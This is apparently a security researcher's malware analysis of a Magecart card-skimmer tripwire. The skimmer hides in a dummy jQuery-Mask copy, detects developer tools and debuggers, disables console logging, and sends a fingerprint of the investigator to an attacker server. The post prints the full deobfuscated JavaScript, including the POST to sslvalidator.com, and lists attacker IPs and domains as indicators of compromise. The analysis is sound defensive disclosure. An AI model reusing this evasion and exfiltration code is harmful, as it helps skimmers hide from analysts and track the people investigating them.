MageCart: now with tripwire

Back in 2016, Magecart skimmers would evade detection by sleeping if any developer tools were found running. Then, their malware would 404 without correct Referer or User-Agent header. And now, Magecart sounds the alarm when it finds you snooping around, and collects a fingerprint of you on an external server.

Observations:

When developer tools are open and you start debugging, the tripwire will send your timezone, IP, browser and a whole lot of other info about you to an external URL, such as sslvalidator.com/tools.php and rellicform.com .

and . It disables all kinds of logging to the console.

It won’t do any reporting on mobile devices.

The malware itself has a nodejs hook, probably for the malware author.

Ramifications: the Magecart authors now likely have a list of IPs of interested parties, and may use those in future evasion techniques.

The obfuscated tripwire is attached to a (dummy) copy of jQuery-Mask that is served on non-checkout pages. Here’s a reverse engineered copy:

// Disable script logging var noop = function () { }; console . log = noop ; console . warn = noop ; console . debug = noop ; console . info = noop ; console . error = noop ; console . exception = noop ; console . trace = noop ; 'use strict' ; var devToolStatus = { 'open' : false , 'orientation' : null }; var minBorderPx = 160 ; var changeDevTools = function ( a , b ) { window . dispatchEvent ( new CustomEvent ( 'devtoolschange' , { 'detail' : { 'open' : a , 'orientation' : b } })); }; setInterval ( function () { // Check every 0.5sec whether devtools are open var fatWidth = window . outerWidth - window . innerWidth > minBorderPx ; var fatHeight = window . outerHeight - window . innerHeight > minBorderPx ; var detectedOrientation = fatWidth ? 'vertical' : 'horizontal' ; if ( ! ( fatHeight && fatWidth ) && ( window . Firebug && window . Firebug . chrome && window . Firebug . chrome . isInitialized || fatWidth || fatHeight )) { // Devtools are open if ( ! devToolStatus . open || devToolStatus . orientation !== detectedOrientation ) { changeDevTools ( true , detectedOrientation ); } devToolStatus . open = true ; devToolStatus . orientation = detectedOrientation ; } else { if ( devToolStatus . open ) { changeDevTools ( false , null ); } devToolStatus . open = false ; devToolStatus . orientation = null ; } }, 500 ); // Running in nodejs? Then export if ( typeof module !== 'undefined' && module . exports ) { module . exports = devToolStatus ; } else { window . devtools = devToolStatus ; } var detectedUA = new MobileDetect ( window . navigator . userAgent ); var isMobile = false ; if ( detectedUA . mobile ()) { isMobile = true ; } var debuggerIsRunning = false ; if ( window . navigator . userAgent . indexOf ( 'Mac OS X' ) > 0 ) { var before = new Date (). getTime (); debugger ; var afterBreakpoint = new Date (). getTime (); if ( afterBreakpoint - before > 100 ) { debuggerIsRunning = true ; } } window . addEventListener ( 'devtoolschange' , function ( g ) { if ( g . detail . open && ! isMobile && debuggerIsRunning ) { var scheme = window . location . protocol != 'https:' ? 'http://' : 'https://' ; var host = 'sslvalidator.com' ; var url = scheme + host + '/tools.php' ; var xhr = new XMLHttpRequest (); var e = 'timezone=' + Intl . DateTimeFormat (). resolvedOptions (). timeZone + '&&systemTime=' + new Date (). toLocaleString () + '&&' + 'appVersion=' + window . navigator . appVersion + '&&useragent=' + navigator . userAgent + '&&' + 'availHeight=' + window . screen . availHeight + '&&' + 'innerWidth=' + window . innerWidth + '&&' + 'innerHeight=' + window . innerHeight + '&&' + 'availWidth=' + window . screen . availWidth + '&&' + 'jWidth=' + ( window . jQuery !== undefined ? jQuery ( window ). width () : 0x0 ) + '&&' + 'jHeight=' + ( window . jQuery !== undefined ? jQuery ( window ). height () : 0x0 ) + '&&' + 'referer=' + document . referrer + '&&' + 'request=' + document . location . pathname + '&&' + 'host=' + document . location . host ; var f = 'params=' + btoa ( e ); xhr . open ( 'POST' , url , true ); xhr . setRequestHeader ( 'Content-Type' , 'application/x-www-form-urlencoded' ); xhr . withCredentials = true ; xhr . send ( f ); } });

The fingerprint receivers are hosted on 5.188.87.23 and 5.188.87.24, a dodgy network spanning NL/IE/RU/UA. According to VirusTotal, the following hostnames resolve there, which have been added to the Magento Malware Scanner list of IOCs.

cdn.magecreativetech.com cdn.onefromeu.com cdn.pollocart.com cdn.rellicform.com cdn.scriptsenvoir.com js.magecreativetech.com js.onefromeu.com js.pollocart.com js.rellicform.com js.scriptsenvoir.com secure.rellicform.com www.magecreativetech.com www.onefromeu.com www.pollocart.com www.rellicform.com www.scriptsenvoir.com cdn.typejsx.com cdnpayment.com directvapar.com directvapro.com directvaprr.com onlineshopsecurity.com secure.onlineshopsecurity.com secure.sslbrainform.com secure.sslvalidator.com sslbrainform.com sslvalidator.com typejsx.com www.cdnpayment.com www.cdnppay.com www.directvapar.com www.directvapro.com www.onlineshopsecurity.com www.secure.sslbrainform.com www.secure.sslvalidator.com www.sslbrainform.com www.sslvalidator.com www.typejsx.com

(image credits for this post)